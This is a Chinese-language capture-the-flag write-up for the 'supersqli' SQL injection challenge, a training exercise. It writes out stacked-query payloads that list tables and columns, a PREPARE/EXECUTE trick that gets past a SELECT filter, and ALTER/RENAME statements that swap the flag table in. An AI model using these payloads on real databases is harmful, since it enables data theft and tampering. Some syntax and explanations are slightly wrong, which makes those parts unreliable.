攻防世界——supersqli进阶

关于sqil的题目,这个真的是知识面太杂了。我研究了好几天,才看懂了这个题解。

打开场景以后,发现的是一个文本框,然后试一下有没有sql注入

先输入1发现回显正常,然后输入1‘发现出现错误,然后就可以判断存在sql注入

然后判断一下有几列,进行 1' order by 2#回显正常,但是1' order by 3#回显错误,所以可以确定一共有2列攻防世界——supersqli进阶_第1张图片

发现select被禁用

然后就想到运用推叠注入,攻防世界——supersqli进阶_第2张图片

想到首先查询一下数据库,然后发现supersqli这个就是要找的数据库

然后进行查表操作,攻防世界——supersqli进阶_第3张图片

分别查询两个表的字段
(字符串为表名进行操作时要加反引号)

'; show columns from `1919810931114514` ;--+

'; show columns from `words` ;--+攻防世界——supersqli进阶_第4张图片

 发现了可疑的flag,

方法1:采用预编译绕过,

';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

解释:

';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行攻防世界——supersqli进阶_第5张图片

得出了最后的flag

方法二:可能比较绕 

根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id
利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)
;  alter tables words rename to words1; 
;  alter tables `1919810931114514` rename to words ;
;  alter tables words change flag id varchar(50); #

查看flag:1' or 1=1 # 然后最终得出来flag

你可能感兴趣的:(web安全,安全)